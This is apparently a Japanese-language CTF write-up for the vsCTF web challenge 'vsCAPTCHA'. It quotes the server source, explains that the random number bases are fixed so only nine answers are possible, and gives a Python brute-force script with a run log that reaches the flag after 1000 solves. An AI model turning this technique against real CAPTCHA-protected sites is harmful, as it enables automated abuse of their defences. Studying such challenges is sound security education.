Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 

README.md

vsCAPTCHA:Web:482pts

vsCAPTCHA: the ultimate solution to protect your site from 100% of bots, guaranteed!
https://vscaptcha-twekqonvua-uc.a.run.app
Downloads
vsCAPTCHA.zip

Solution

URLとソースが渡される。
アクセスするとオレオレCAPTCHAが動いており、表示されている数字の足し算を1000回正解するとクリアのようだ。
vsCaptcha
site.png
光学文字認識も不可能で一見すると安全だが、眺めていると不審な点に気づく。
計算のもととなる二つの数字が154~160425~427の間のみで動いている。
乱数の生成部分がおかしいと予想し、配布されたソースを見ると以下のようであった。

~~~
const FLAG = Deno.env.get("FLAG") ?? "vsctf{REDACTED}";
const captchaSolutions = new Map();

interface CaptchaJWT {
  exp: number;
  jti: string;
  flag?: string;
  failed: boolean;
  numCaptchasSolved: number;
}

const jwtKey = await jose.importPKCS8(
  new TextDecoder().decode(await Deno.readFile("./jwtRS256.key")),
  "RS256"
);
const jwtPubKey = await jose.importSPKI(
  new TextDecoder().decode(await Deno.readFile("./jwtRS256.key.pub")),
  "RS256"
);

const app = new Application();
const router = new Router();

const b1 = Math.floor(Math.random() * 500);
const b2 = Math.floor(Math.random() * 500);

~~~

router.post("/captcha", async (ctx) => {
  const stateJWT = ctx.request.headers.get("x-captcha-state");
  const body = await ctx.request.body({
    type: "json",
  }).value;
  const solution = body.solution;

  let jwtPayload: CaptchaJWT = {
    // 10 seconds to solve
    exp: Math.round(Date.now() / 1000) + 10,
    jti: crypto.randomUUID(),
    failed: false,
    numCaptchasSolved: 0,
  };

  if (stateJWT) {
    try {
      const { payload } = await jose.jwtVerify(stateJWT, jwtPubKey);
      jwtPayload.numCaptchasSolved = payload.numCaptchasSolved;

      if (
        !captchaSolutions.get(payload.jti) ||
        captchaSolutions.get(payload.jti) !== solution
      ) {
        const jwt = await new jose.SignJWT({
          failed: true,
          numCaptchasSolved: payload.numCaptchasSolved,
          exp: payload.exp,
        })
          .setProtectedHeader({ alg: "RS256" })
          .sign(jwtKey);

        ctx.response.headers.set("x-captcha-state", jwt);
        ctx.response.status = 401;
        return;
      }
    } catch {
      ctx.response.status = 400;
      return;
    }

    jwtPayload.numCaptchasSolved += 1;
  }

  const num1 = Math.floor(Math.random() * 7) + b1;
  const num2 = Math.floor(Math.random() * 3) + b2;

  const captcha = createCaptcha({
    width: 250,
    height: 150,
    // @ts-ignore provided options are merged with default options
    captcha: {
      text: `${num1} + ${num2}`,
    },
  });
~~~
});
~~~

jtiをキーとしたMapで数値の正誤判定が実装されているようだ。
一度目の乱数生成がグローバルで宣言されており固定されている。
二度目の乱数生成では一度目の乱数から+7+3の範囲の整数でのみ変動するため、計算の答えは高々9通りの579~587である。
jwtによるキーの受け渡しは10秒間の猶予があり、不正解である場合のリセットなどはないようなので、すべてのパターンをPOSTすれば正解を引き当てることができる。
以下のimarobot.pyで行う(運営のサーバが貧弱でたびたび落ちたため、Speed up機構を導入している泣)。

import sys
import json
import base64
import requests

url = "https://vscaptcha-twekqonvua-uc.a.run.app"
#url = "http://localhost:8080" # Debug

res = requests.post(f"{url}/captcha", data="{}")
x_captcha_state = res.headers["x-captcha-state"]
print(base64.b64decode(x_captcha_state.split(".")[1] + "==").decode())

while True:
    for ans in [579, 580, 581, 582, 583, 584, 585, 586, 587]: # [154, 155, 156, 157, 158, 159, 160] + [425, 426, 427]
        res = requests.post(f"{url}/captcha", data=f"{{\"solution\": {ans}}}", headers={"x-captcha-state": x_captcha_state})
        if len(res.content) == 0: # Speed up!!
            continue
        try:
            state = base64.b64decode(res.headers["x-captcha-state"].split(".")[1] + "==").decode()
        except:
            print(res.headers["x-captcha-state"]) # Padding error?
        json_state = json.loads(state)
        print(state)
        if json_state["failed"] == False:
            if json_state["numCaptchasSolved"] >= 1000:
                print(f"Flag: {json_state['flag']}")
                sys.exit()
            x_captcha_state = res.headers["x-captcha-state"]
            break

実行する。

$ python imarobot.py
{"exp":1657416673,"jti":"e43e4e71-afbe-4506-b0f7-a836448c3fab","failed":false,"numCaptchasSolved":0}
{"exp":1657416674,"jti":"72e4b5e7-3853-4a5f-8547-9bdc4e7ceed2","failed":false,"numCaptchasSolved":1}
{"exp":1657416677,"jti":"d39acf8e-4d55-4d91-a6f8-324fe1fea197","failed":false,"numCaptchasSolved":2}
~~~
{"exp":1657418403,"jti":"bf53eaf3-e73d-4f88-8db8-561a7cc5c1ac","failed":false,"numCaptchasSolved":998}
{"exp":1657418406,"jti":"27760cf6-5a2e-42d1-9408-bf5a09ac837c","failed":false,"numCaptchasSolved":999}
{"exp":1657418407,"jti":"7984a1c9-2345-49fd-89e2-1604de1ede16","failed":false,"numCaptchasSolved":1000,"flag":"vsctf{aut0m4t3d_act1vity_d3tected_s0lv3_1000_m0r3_c4ptcha5_t0_c0ntinu3}"}
Flag: vsctf{aut0m4t3d_act1vity_d3tected_s0lv3_1000_m0r3_c4ptcha5_t0_c0ntinu3}

flagが得られた。

vsctf{aut0m4t3d_act1vity_d3tected_s0lv3_1000_m0r3_c4ptcha5_t0_c0ntinu3}